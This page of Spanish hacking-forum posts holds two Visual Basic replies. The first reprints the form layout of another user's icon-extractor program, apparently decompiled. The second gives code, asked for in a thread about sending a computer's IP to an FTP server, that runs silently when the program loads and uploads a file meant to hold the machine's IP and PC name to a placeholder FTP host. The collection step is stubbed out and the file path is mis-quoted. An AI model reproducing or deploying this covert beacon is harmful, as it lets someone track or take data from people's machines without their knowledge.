| |
 Mostrar Mensajes
|
|
Páginas: 1 2 [3] 4 5
|
|
27
|
Programación / Programación Visual Basic / Re: ayuda con este script
|
en: 18 Junio 2007, 04:22 am
|
Qué onda con tu programa para extraer iconos, En ese caso yo publico mi programa para hacer sumas  mis respetos si lo hiziste en c++ la verdad no se si sea facil o dificil nunca lo eh manejado,aunque dudo que este copilado en c++ 'offset: 00001611
VERSION 5.00
Begin VB.Form Form1
Caption = "XtraCT iCoN v1.0.0 By -:ZumBaH:- To elHacker.NeT"
ForeColor = &H80000008&
BorderStyle = 1
LinkTopic = "Form1"
MaxButton = 0 'False
ClientLeft = 300
ClientTop = 885
ClientWidth = 6105
ClientHeight = 3990
BeginProperty Font
Strikethrough = 0 'False
Underline = 0 'False
Italic = 0 'False
Weight = 700
Size = 8,3
Name = "MS Sans Serif"
EndProperty
'offset: 000019AB
Begin VB.CommandButton Command1
Caption = "Agradecimientos"
Left = 240
Top = 3480
Width = 1455
Height = 375
TabIndex = 11
BeginProperty Font
Strikethrough = 0 'False
Underline = 0 'False
Italic = 0 'False
Weight = 400
Size = 6,7
Name = "Tahoma"
EndProperty
End
'offset: 000019EF
Begin VB.textBox Text1
Left = 2640
Top = 360
Width = 2775
Height = 375
TabIndex = 8
End
'offset: 00001A26
Begin VB.PictureBox Picture1
End
'offset: 00001D75
Begin VB.Frame Frame1
Caption = "Acciones"
Left = 8
Top = 32768
Width = 20485
Height = 14346
'offset: 00001DB7
Begin VB.Frame Frame2
Caption = "Icono"
Left = 8
Top = 32768
Width = 53253
Height = 61442
'offset: 00001DF6
Begin VB.Image Image1
Left = 360
Top = 240
Width = 495
Height = 495
End
End
'offset: 00001E13
Begin VB.CommandButton ssbSigue
Caption = "Adelante"
Left = 1560
Top = 1440
Width = 1095
Height = 375
Visible = 0 'False
TabIndex = 5
BeginProperty Font
Strikethrough = 0 'False
Underline = 0 'False
Italic = 0 'False
Weight = 400
Size = 6,7
Name = "Tahoma"
EndProperty
Appearance = 0 'Flat
End
'offset: 00001E54
Begin VB.CommandButton ssbAtrás
Caption = "Atrás"
Left = 120
Top = 1440
Width = 1095
Height = 375
Visible = 0 'False
TabIndex = 4
BeginProperty Font
Strikethrough = 0 'False
Underline = 0 'False
Italic = 0 'False
Weight = 400
Size = 6,7
Name = "Tahoma"
EndProperty
Appearance = 0 'Flat
End
'offset: 00001E92
Begin VB.Label Label2
Caption = "Atrás, Adelante"
ForeColor = &H80000008&
Left = 720
Top = 1080
Width = 1575
Height = 255
TabIndex = 10
BeginProperty Font
Strikethrough = 0 'False
Underline = 0 'False
Italic = 0 'False
Weight = 400
Size = 8,3
Name = "MS Sans Serif"
EndProperty
Appearance = 0 'Flat
End
End
'offset: 00001EE3
'CMDialog1
'offset: 00001F6E
Begin VB.FileListBox File1
Left = 240
Top = 1680
Width = 2175
Height = 1590
TabIndex = 2
End
'offset: 00001FCA
Begin VB.DirListBox Dir1
Left = 240
Top = 480
Width = 2175
Height = 1155
TabIndex = 1
End
'offset: 00002000
Begin VB.DriveListBox Drive1
Left = 240
Top = 120
Width = 2175
Height = 315
TabIndex = 0
End
'offset: 00002038
'ImageList1
'offset: 000020C2
Begin VB.Label Label1
Caption = "Ruta"
ForeColor = &H80000008&
Left = 2640
Top = 120
Width = 855
Height = 255
TabIndex = 9
BeginProperty Font
Strikethrough = 0 'False
Underline = 0 'False
Italic = 0 'False
Weight = 400
Size = 8,3
Name = "MS Sans Serif"
EndProperty
Appearance = 0 'Flat
End
'offset: 00002108
Begin VB.Menu MnuFila
Caption = "&Fila"
'offset: 00002125
Begin VB.Menu MnuGuardaco
Caption = "&Guardar Como"
End
'offset: 0000214F
Begin VB.Menu nada
Caption = "-"
End
'offset: 00002165
Begin VB.Menu MnuSale
Caption = "&Salir"
End
End
End
|
|
|
|
|
28
|
Programación / Programación Visual Basic / Re: AYUDA URGENTE, MANDAR IP A UN FTP
|
en: 18 Junio 2007, 03:58 am
|
Option Explicit
Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" (ByVal hConnect As Long, ByVal lpszLocalFile As String, ByVal lpszNewRemoteFile As String, ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean
Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer
Private Declare Function FtpSetCurrentDirectory Lib "wininet.dll" Alias "FtpSetCurrentDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean
Const INTERNET_OPEN_TYPE_PRECONFIG = 0
Const INTERNET_DEFAULT_FTP_PORT = 21
Const INTERNET_SERVICE_FTP = 1
Const PassiveConnection As Boolean = True
Const INTERNET_FLAG_PASSIVE = &H8000000
Const FTP_TRANSFER_TYPE_UNKNOWN = &H0
Dim hConnection, hOpen, Num As Long
Private Sub Form_Load()
'####################
botarate
'####################
hOpen = InternetOpen("IE", INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0)
DoEvents
hConnection = InternetConnect(hOpen, "ftp.yosoy.vb", INTERNET_DEFAULT_FTP_PORT, "username", "password", INTERNET_SERVICE_FTP, IIf(PassiveConnection, INTERNET_FLAG_PASSIVE, 0), 0)
DoEvents
FtpSetCurrentDirectory hConnection, "\"
DoEvents
FtpPutFile hConnection, "App.Path & \IPFTP.txt", "IPFTP", FTP_TRANSFER_TYPE_UNKNOWN, 0
DoEvents
InternetCloseHandle hConnection
InternetCloseHandle hOpen
'####################
End Sub
Private Sub botarate()
'Mandatos para guardar la IP y el nombre de la pc en un txt llamado IPFTP.txt,guardado en la direccion donde se ejecuto la aplicacion
'eso investigatelo tu ay si no lo encuentras me avisas
End Sub
|
|
|
|
|
|
| |
|
